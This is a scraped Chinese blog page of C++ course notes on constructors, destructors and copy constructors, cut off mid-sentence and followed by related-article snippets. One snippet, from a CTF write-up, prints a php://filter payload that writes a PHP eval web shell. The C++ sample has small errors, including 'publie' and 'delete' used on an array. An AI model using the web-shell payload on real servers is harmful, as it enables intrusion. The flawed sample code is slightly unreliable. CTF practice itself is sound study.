嵌入式培训机构四个月实训课程笔记(完整版)-C++和QT编程第二天-类与对象(物联技术666)

链接:https://pan.baidu.com/s/1Am83Ut449WCbuTiodwJWgg?pwd=1688
提取码:1688

上午:类和对象  

下午:类和对象高级应用

教学内容:

1、构造函数\析构函数\拷贝构造函数

构造函数:

每一个对象的创建都必须初始化,如果在没有写初始化函数(即构造函数),系统会默认写构造函数,但有些时候必须自己写构造函数。(比如,在定义初始化时候要申请空间或者牵涉指针)

构造函数的特点:

构造函数具有一些特殊的性质

• 构造函数的名字必须与类名相同

• 定义对象时被系统自动调用

• 可以有任意类型的参数,但不能有返回值

• 被定义为公有的,但其它时间无法被调用

例如:

//*****************************************

class Complex{

private:

       double real;

       double imag;

public:

       Complex(double a=10, double b=10)//构造函数,与类同名,无返回值,同时可以缺省使用

       {    

             real = a;

             imag = b;

             cout<<"In Constructor t!"<<endl;

       }

       ...

};

//**************************

析构函数:

每一个对象在结束的时候,系统必须收回空间,收回空间由析构函数来完成,如果在类中没有析构函数,系统默认自己写析构函数。有些时候必须自己写析构函数(比如,在定义初始化时候要申请空间或者牵涉指针)

析构函数有以下一些特点:

• 析构函数与构造函数名字相同,但它前面必须加一个波浪号(~)

• 析构函数没有参数,也没有返回值,而且不能重载,因此在一个类中只能有一个析构函数

• 当撤消对象时,编译系统会自动地调用析构函数

例如:

//******************************************

class Complex{

private:

       double real;

       double imag;

public:

       Complex(double r = 0.0,double i = 0.0)        //构造函数,有缺省设置

       {

             cout<<"construction…"<<endl;

             real = r;

             imag = i;

       }

       ~Complex()  //析构函数,没有返回值,没有参数,前面加~,对象在接收时自动调用

       {

             cout<<"destruction…"<<endl;

       }

...

}

//****************************

拷贝构造函数:

在程序中,如果对象赋值,在类中如果没有拷贝构造函数,编译器会自动编写拷贝构造函数,但是如果在有指针或有申请空间的类中,直接拷贝会出现,二个对象指向同一个空间的问题,可能会出现双释放空间,从而产生段错误。

自定义拷贝构造函数

classname(const classname &ob) //classname类名称

{

//拷贝构造函数的函数体

}

例如:

//********************************

class StringData

{

private: char *str;

publie:

StringData(char *s)      //构造函数

{

str = new char[strlen(s)+1];

strcpy(str,s);

}

~StringData()       //析构函数

{

delete str;

}

//…

};

int main()

{

StringData x(“abc”);     //重新创建一个对象

StringData y(x);     //StringData y = x;         

//拷贝一个对象,所有东西都拷贝了,此时对象y的str指针指向x对象new的空间ÿ

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/623261.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

OpenCV——八邻域断点检测

目录 一、理论基础1、八邻域2、断点检测 二、代码实现三、结果展示四、参考链接 OpenCV——八邻域断点检测由CSDN点云侠原创&#xff0c;爬虫自重。如果你不是在点云侠的博客中看到该文章&#xff0c;那么此处便是不要脸的爬虫。 一、理论基础 1、八邻域 图1 八邻域示意图 图…

基于嵌入式AI的ROI区域视频传输系统设计与实现

在当今快速发展的智能监控领域&#xff0c;实现高效的视频流处理和传输成为了一项重要挑战。本文介绍了一个基于嵌入式AI平台的视频传输系统设计&#xff0c;该系统能够识别视频中的关键区域&#xff08;ROI&#xff09;&#xff0c;并对这些区域进行高效的编码处理。特别地&am…

Python数据的处理

一.字符串拼接的几种方式 使用str.join()方法进行拼接字符串直接拼接使用格式化字符串进行拼接 ​ s1hello s2world #(1)使用➕进行拼接 print(s1s2) #(2)使用字符串的join&#xff08;&#xff09;方式 print(.join([s1,s2])) print(*.join([s1,s2])) print(你好.join([s1,s…

neus2安装运行纪实

./build/testbed --scene transforms.json

Python操作MySQL入门教程,使用pymysql操作MySQL,有录播直播私教课

创建数据库 create database gx character set utf8mb4;连接数据库 #!/usr/bin/python3import mysql as pymysql# 打开数据库连接 db pymysql.connect(hostlocalhost,port3306,userroot,passwordzhangdapeng520,databasegx)# 使用 cursor() 方法创建一个游标对象 cursor cur…

【MATLAB随笔】GUI编程(未完结)

文章目录 一、创建图窗1.1 figure 函数详解1.11 窗口标识1.12 窗口外观1.13 位置和大小 二、xxx 一、创建图窗 跟很多GUI编程一样的&#xff0c;先创建一个基本的图窗&#xff0c;然后再添加按钮、文章、标签&#xff0c;绑定函数等等&#xff0c;比如python的tkinter。 MATL…

C/C++算法从小白到高手(1):排序算法

1. 冒泡排序 (1) 基本思路 冒泡排序是一种简单的、但效率极低的排序算法&#xff0c;基本思路是重复地遍历待排序的序列&#xff0c;通过相邻元素的比较和交换&#xff0c;将较大&#xff08;或较小&#xff09;的元素逐步"冒泡"到右侧&#xff08;或左侧&#xff0…

文章解读与仿真程序复现思路——电网技术EI\CSCD\北大核心《考虑风电出力不确定性的电网无功-电压控制鲁棒分区方法》

本专栏栏目提供文章与程序复现思路&#xff0c;具体已有的论文与论文源程序可翻阅本博主免费的专栏栏目《论文与完整程序》 这个标题涉及到考虑风电出力不确定性的电网无功-电压控制鲁棒分区方法。让我们逐步解读这个标题的主要关键词和概念&#xff1a; 考虑风电出力不确定性…

android,app,小程序页面布局的各种栏

手机页面从上到下通常包含以下几个栏&#xff1a; 1.状态栏&#xff08;Status Bar&#xff09;&#xff1a;位于屏幕的顶部&#xff0c;用于显示手机的系统状态信息&#xff0c;例如时间、电池电量、信号强度等。状态栏也可以包含一些通知图标和快捷设置图标。 2.标题栏&…

根据编码规则使用nodejs脚本来大批量生成星原物联网设备采集点表

在使用星原网关时&#xff0c;需要导入点表&#xff0c;由于设备的点表非常的多&#xff0c;可写的点表有1095个。 所有根据编码规律&#xff0c;编写了一段nodejs代码&#xff0c;来生成点表。 一个编码有四部分组成&#xff0c; 分别是 [‘A’, ‘B’, ‘C’, ‘D’, ‘E’]…

CTF伪随机数爆破

要了解伪随机数的爆破首先你的先知道什么是PHP种子&#xff0c; 借用在rand()函数中&#xff0c;我们可以通过设置随机数种子来影响随机数的生成。例如&#xff0c;在rand()函数中加入了随机数种子编码后&#xff0c;每次运行程序将会生成同样的随机整数序列。这个就是伪随机数…

第28关 k8s监控实战之Prometheus(八)

大家好&#xff0c;我是博哥爱运维。从这节课开始&#xff0c;博哥计划引入golang&#xff08;简称go&#xff09;语言开发的一些内容&#xff0c;没有接触过go语言的同学也不用慌&#xff0c;我会尽量以一个新人的角度&#xff0c;去把这些go开发的内容讲得通俗一些。这节课还…

布隆过滤器四种实现(Java,Guava,hutool,Redisson)

1.背景 为预防大量黑客故意发起非法的时间查询请求&#xff0c;造成缓存击穿&#xff0c;建议采用布隆过滤器的方法解决。布隆过滤器通过一个很长的二进制向量和一系列随机映射函数&#xff08;哈希函数&#xff09;来记录与识别某个数据是否在一个集合中。如果数据不在集合中…

计算机毕业设计 基于Java的国产动漫网站的设计与实现 Java实战项目 附源码+文档+视频讲解

博主介绍&#xff1a;✌从事软件开发10年之余&#xff0c;专注于Java技术领域、Python人工智能及数据挖掘、小程序项目开发和Android项目开发等。CSDN、掘金、华为云、InfoQ、阿里云等平台优质作者✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精…

polar CTF 写shell

一、题目 <?php /*PolarD&N CTF*/highlight_file(__FILE__);file_put_contents($_GET[filename],"<?php exit();".$_POST[content]);?>二、解题 payload ?filenamephp://filter/convert.base64-decode/resourceshell.php #<?eval($_POST[1]);…

Hadoop 实战 | 词频统计WordCount

词频统计 通过分析大量文本数据中的词频&#xff0c;可以识别常见词汇和短语&#xff0c;从而抽取文本的关键信息和概要&#xff0c;有助于识别文本中频繁出现的关键词&#xff0c;这对于理解文本内容和主题非常关键。同时&#xff0c;通过分析词在文本中的相对频率&#xff0…

Echarts折线图中数据根据正负数显示不同区域背景色-配置

示例 Echarts折线图中数据根据正负数显示不同区域背景色 Piecewise 分段类型Continuous 连续类型 Echarts配置 option {backgroundColor: "#030A41",xAxis: {type: category,data: [Mon, Tue, Wed, Thu, Fri, Sat, Sun],axisTick: {show: false,},axisLabel: { /…

x-cmd pkg | jless - 受 Vim 启发的命令行 JSON 查看器

目录 简介首次用户功能特点类似工具与竞品进一步探索 简介 jless 是一个命令行 JSON 查看器&#xff0c;设计用于读取、探索和搜索 JSON 数据。可以使用它来替代 less 、 jq 、 cat 以及您当前用于查看 JSON 文件的编辑器的任何组合。它是用 Rust 编写的&#xff0c;可以作为单…

DNS记录类型介绍(A记录、MX记录、NS记录等)

简介&#xff1a; DNS A记录 NS记录 MX记录 CNAME记录 TXT记录 TTL值 PTR值建站名词解释&#xff1a;DNS A记录 NS记录 MX记录 CNAME记录 TXT记录 TTL值 PTR值 泛域名 泛解析 域名绑定 域名转向 1.DNS&#xff1a;Domain Name System 域名管理系统 域名是由圆点分开一串单词或缩…

启动SpringBoot报错:No more pattern data allowed after {*...} or ** pattern element

报错信息 [AbstractApplicationContext.java:592] → [Exception encountered during context initialization - cancelling refresh attempt: org.springframework.beans.factory.BeanCreationException: Error creating bean with name viewControllerHandlerMapping defin…